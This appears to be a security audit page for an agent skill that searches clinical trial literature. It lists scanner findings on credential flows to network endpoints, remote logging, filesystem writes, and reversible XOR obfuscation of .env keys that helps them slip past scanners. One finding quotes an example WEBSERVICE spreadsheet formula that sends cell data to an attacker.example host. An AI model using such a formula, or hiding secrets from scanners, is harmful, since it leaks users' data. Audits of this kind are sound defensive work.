Back to skill

Security audit

Clinical Trial Literature Search / 临床试验文献检索专家

Security checks for vulnerabilities and agentic risk

Overview

ClawScan marked this skill suspicious because scanners report broad third-party data sharing and filesystem access beyond its stated literature-search purpose, alongside reported security weaknesses.

Treat this as a review-level warning, not a finding that the author is malicious. Before installing, consider whether you are comfortable with the reported remote processing and logging of searches or imported bibliographic data, and with writes beyond the current working directory. The scan is incomplete: Skillspector was partial, covered 93.2% of components, and some analyses were degraded or limited, so it does not establish that unreported behavior is safe.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/ct_literature.py
Finding

Local-only mode still uploads imported bibliographic records to Coze

Content
View full analysis

Impact

Local collection metadata, including abstracts and user-created tags, leaves the machine without authorization for that destination. Publicly sourced records are also uploaded despite the mode restriction.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export_xlsx.py
Finding

Automatically retrieved literature text is interpreted as Excel formulas

Content
View full analysis

Impact

An injected formula can alter report calculations or create attacker-directed links. In compatible spreadsheet applications with external-data functions enabled, a formula such as =WEBSERVICE("https://attacker.example/collect?x="&ENCODEURL(A1)) can make an outbound request and disclose referenced workbook cell values. No shell execution or unconditional data theft is claimed.

Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (246)

Tainted flow: 'req' from os.environ.get (line 641, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
98% confidence
Finding

The authorization gate checks CT_SEARCH_ENDPOINT, but the first request uses the independently configurable CT_SEARCH_ENDPOINT_STREAM without checking its authorization. An unauthorized streaming destination can therefore receive search content and the resolved Bearer token even when the checked endpoint remains the approved default.

Content

Scanner excerpt · adapters/fetch_coze_unified.py (reported line 642)May include surrounding context.

python
def _coze_stream_once(body, timeout):
    """单次 /stream_run 请求 + SSE 解析;返回 projects(list) 或 None(无结果/被拒),异常上抛。"""
    req = urllib.request.Request(CT_SEARCH_ENDPOINT_STREAM, data=body, headers=_headers(), method="POST")
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return _parse_stream(resp, _silent_log)

Tainted flow: 'req' from os.environ.get (line 673, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · adapters/fetch_coze_unified.py (reported line 674)May include surrounding context.

python
while time.time() < deadline:
        try:
            req = urllib.request.Request(status_url, method="GET", headers=headers)
            with urllib.request.urlopen(req, timeout=30) as resp:
                data = json.loads(resp.read().decode("utf-8"))
        except urllib.error.HTTPError as e:
            if e.code in (401, 403):

Tainted flow: 'req2' from os.environ.get (line 984, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · adapters/fetch_coze_unified.py (reported line 985)May include surrounding context.

python
# 回退 /run(非流式)——响应形态自适应:同步返回 / accepted+run_id 异步轮询
    try:
        req2 = urllib.request.Request(CT_SEARCH_ENDPOINT, data=body, headers=_headers(), method="POST")
        with urllib.request.urlopen(req2, timeout=timeout) as resp2:
            data = json.loads(resp2.read().decode("utf-8"))
        # 异步协议探测(2026-10-19):重检索任务返回 {status:accepted, run_id}
        # (服务端还要跑数分钟)。不识别该协议会被当同步响应对待 → 空结果。

Tainted flow: 'req' from os.environ.get (line 1639, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · adapters/pdf_download.py (reported line 1645)May include surrounding context.

python
# 适合耗时较长的 PDF 批量下载——避免长连接被网关按单响应超时掐断。
        # 本地解析 SSE,从 workflow_end(或 node_end)事件提取最终 projects。
        try:
            with urllib.request.urlopen(req, timeout=180) as r:
                projects = _parse_coze_stream(r, self._log)
        except Exception as e:
            self._log(f"[coze] 流式传送失败: {type(e).__name__}: {e}")

Tainted flow: 'req' from os.environ.get (line 45, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · adapters/rare_disease_sources.py (reported line 46)May include surrounding context.

python
"""GET JSON,失败返回 None。"""
    try:
        req = urllib.request.Request(url, headers=headers or {})
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return json.loads(resp.read().decode("utf-8"))
    except (urllib.error.URLError, json.JSONDecodeError, TimeoutError):
        return None

Tainted flow: 'req' from os.environ.get (line 71, credential/environment) → urllib.request.build_opener.open (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · adapters/zotero_import.py (reported line 73)May include surrounding context.

python
url = base.rstrip("/") + "/" + path.lstrip("/")
    req = urllib.request.Request(url, headers={"Accept": "application/json"})
    try:
        with _NO_PROXY_OPENER.open(req, timeout=timeout) as r:
            body = r.read().decode("utf-8", "replace")
            try:
                return json.loads(body), dict(r.headers)

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · CHANGELOG.md (reported line 1666)May include surrounding context.

md
- **§16.0 ClawHub 安全审计整改(4 STILL_PRESENT 清零)**:
  - **F2(HIGH)反幻觉 none 旁路移除**:`--verify` choices 移除 `none`、`--no-verify-citations` alias 删除、`elif verify_mode=="none"` 分支清除;`workbench/server.py` 把前端 `none` 请求强制降级为 `top`。反幻觉闸门(ct-base §17.1 P0)从此不可被 CLI 完全关闭(实测 `--verify none` / `--no-verify-citations` 均被 argparse 拒绝,exit 2)。
  - **F1(HIGH)术语澄清**:`AGENTS.md` 顶部加术语块,明确 "B-tier" = ct- 库公开情报检索层(零保密输入),非保密分级;改写三处 "B-tier" 措辞;顺手修正过时版本号 v0.5.3 → v0.9.6。
  - **F4(MEDIUM).env 写入措辞弱化**:README / README_zh-CN 安全段把"助手可代写 .env"弱化为「可选、不推荐、优先 §7 自行配置」,降低公开包诱导面。
  - **F3 / 6×UNVERIFIED**:guidelines corpus 多源语料库设计如此留痕;coze 端点 / bug-report 出站为既定设计(你已授权 coze 凭据随包发布),标设计如此。

- 全新设计系统(`workbench/index.html`):深蓝 + 金线学术纸感配色(navy/gold)、衬线标题 + 无衬线正文的学术排版;

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · adapters/http_utils.py (reported line 124)May include surrounding context.

python
raise urllib.error.URLError(reason=e)
    raise urllib.error.HTTPError(url, 302, "too many redirects", [], None)

# ── Lightweight .env key obfuscation (XOR+base64) ──────────────────────────────
# If the .env (holding the user's PRIVATE OpenAlex/S2 key) is ever accidentally
# packaged by a platform that ignores .gitignore/.clawhubignore (e.g. SkillHub),
# the shipped value is NOT the plaintext key — it fails naive grep/scan matching.

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · adapters/http_utils.py (reported line 125)May include surrounding context.

python
raise urllib.error.HTTPError(url, 302, "too many redirects", [], None)

# ── Lightweight .env key obfuscation (XOR+base64) ──────────────────────────────
# If the .env (holding the user's PRIVATE OpenAlex/S2 key) is ever accidentally
# packaged by a platform that ignores .gitignore/.clawhubignore (e.g. SkillHub),
# the shipped value is NOT the plaintext key — it fails naive grep/scan matching.
# NOT cryptography (the XOR key below is public); the real safeguard is that .env

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · CHANGELOG.md (reported line 1666)May include surrounding context.

md
- **§16.0 ClawHub 安全审计整改(4 STILL_PRESENT 清零)**:
  - **F2(HIGH)反幻觉 none 旁路移除**:`--verify` choices 移除 `none`、`--no-verify-citations` alias 删除、`elif verify_mode=="none"` 分支清除;`workbench/server.py` 把前端 `none` 请求强制降级为 `top`。反幻觉闸门(ct-base §17.1 P0)从此不可被 CLI 完全关闭(实测 `--verify none` / `--no-verify-citations` 均被 argparse 拒绝,exit 2)。
  - **F1(HIGH)术语澄清**:`AGENTS.md` 顶部加术语块,明确 "B-tier" = ct- 库公开情报检索层(零保密输入),非保密分级;改写三处 "B-tier" 措辞;顺手修正过时版本号 v0.5.3 → v0.9.6。
  - **F4(MEDIUM).env 写入措辞弱化**:README / README_zh-CN 安全段把"助手可代写 .env"弱化为「可选、不推荐、优先 §7 自行配置」,降低公开包诱导面。
  - **F3 / 6×UNVERIFIED**:guidelines corpus 多源语料库设计如此留痕;coze 端点 / bug-report 出站为既定设计(你已授权 coze 凭据随包发布),标设计如此。

- 全新设计系统(`workbench/index.html`):深蓝 + 金线学术纸感配色(navy/gold)、衬线标题 + 无衬线正文的学术排版;

Credential Access

High
Category
Privilege Escalation
Confidence
92% confidence
Finding

The entry describes reversible XOR/base64 obfuscation of .env keys to avoid plaintext scan matches, with runtime deobfuscation support. This provides no meaningful confidentiality if a credential file is accidentally distributed and can undermine the scanners intended to detect that exposure; the supplied changelog does not prove that an actual private key was shipped.

Content

Scanner excerpt · CHANGELOG.md (reported line 2414)May include surrounding context.

md
## v0.5.3 — 2026-08-08

- .env key 轻混淆(XOR+base64)防误打包明文扫描命中;http_utils.py 增加 `_deobfuscate` 向后兼容明文 .env;三平台同步发布。

## v0.5.2 — 2026-08-08

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Default Feishu logging of topics, concepts, entry IDs, and specification metadata can retain sensitive project context outside the local domain. This is materially broader than opt-in sanitized bug reporting and compounds the reported filesystem-boundary gaps.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Default external audit logging and arbitrary querystr content could retain sensitive research topics or other user content outside the local domain. A machine hash is allowed by the guardrail, but correlating it with broadly logged content increases privacy impact and is not equivalent to opt-in bug reporting.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Define-XML generation is unrelated functionality, but its presence alone is not a security vulnerability or proof it is reachable. The reported arbitrary output-directory write is the relevant boundary concern if this component is exposed through the skill.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Localization is a reasonable supporting implementation detail and is not itself a mismatch. However, set_lang_session() creates directories and writes or deletes a session file, while set_lang_permanent() modifies the skill's configuration file. These are non-report writes to installation-relative paths, directly contradicting the declared filesystem restrictions. These modifications occur when the functions are called, not merely when the module is imported. The absence of literature-search logic in this supporting module does not establish that the overall skill lacks that functionality, and the supplied code shows no external data transmission.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Caching is a reasonable supporting implementation detail for literature search and is not itself a purpose mismatch. However, the implementation directly contradicts the explicit filesystem permission that allows only report-file writes in the current working directory. resolve_cache_file() defaults to a shared home-directory location, and save() creates directories, writes temporary files, and replaces the selected cache file without restricting its location. These are actual resource-boundary deviations, not merely missing description of an internal optimization. No external transmission or unrelated network behavior is demonstrated by this chunk.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The clear mismatch is the explicit filesystem boundary: claim() and release() write non-report state to a shared directory, normally under the user's home, rather than restricting writes to reports in the current working directory. The code also creates directories, atomically replaces ledger files, and deletes lock files there. Duplicate-write suppression could be a supporting implementation detail, so its absence from the literature-search description alone is not decisive. Although comments describe Feishu writes, this chunk makes no network requests and does not establish external transmission of user data; it stores payload-derived hashes and timestamps locally.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

This module implements machine identification rather than a disclosed literature-processing capability. It accesses firmware, the Windows registry, macOS system information, or Linux system identity files to derive a persistent identifier. Hashing the identifier does not eliminate its fingerprinting capability. These accesses exceed the declared own-files-only read boundary and are not an ordinary implementation detail of scholarly search. The supplied chunk shows no network transmission, file writes, or evidence that the fingerprint is used for tracking elsewhere.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Forwarding complete messages or action parameters to an external LLM can disclose confidential content beyond permitted public terms. User-configured endpoints can be legitimate, but require explicit trust configuration and cannot substitute for payload minimization.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Forwarding local Zotero or exported-file records to remote deduplication can turn a documented local-import feature into undisclosed external processing. Automatic logging of original topics and artifact metadata can additionally expose confidential research context despite the local-first promise.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

Guideline collection is disclosed in the document, so this is not wholly unrelated functionality. Nevertheless, the reported skill-tree modification and unrestricted cache locations exceed the explicit read-only and working-directory restrictions, weakening integrity and filesystem isolation.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

If the reported implementation is accurate, cloud screening can disclose research interests or sensitive imported content without enforcing the metadata's narrower egress policy. Unconfined output paths also defeat the advertised write boundary; the generic Coze disclosure does not itself enforce either restriction.

Content

No source excerpt is available for this finding.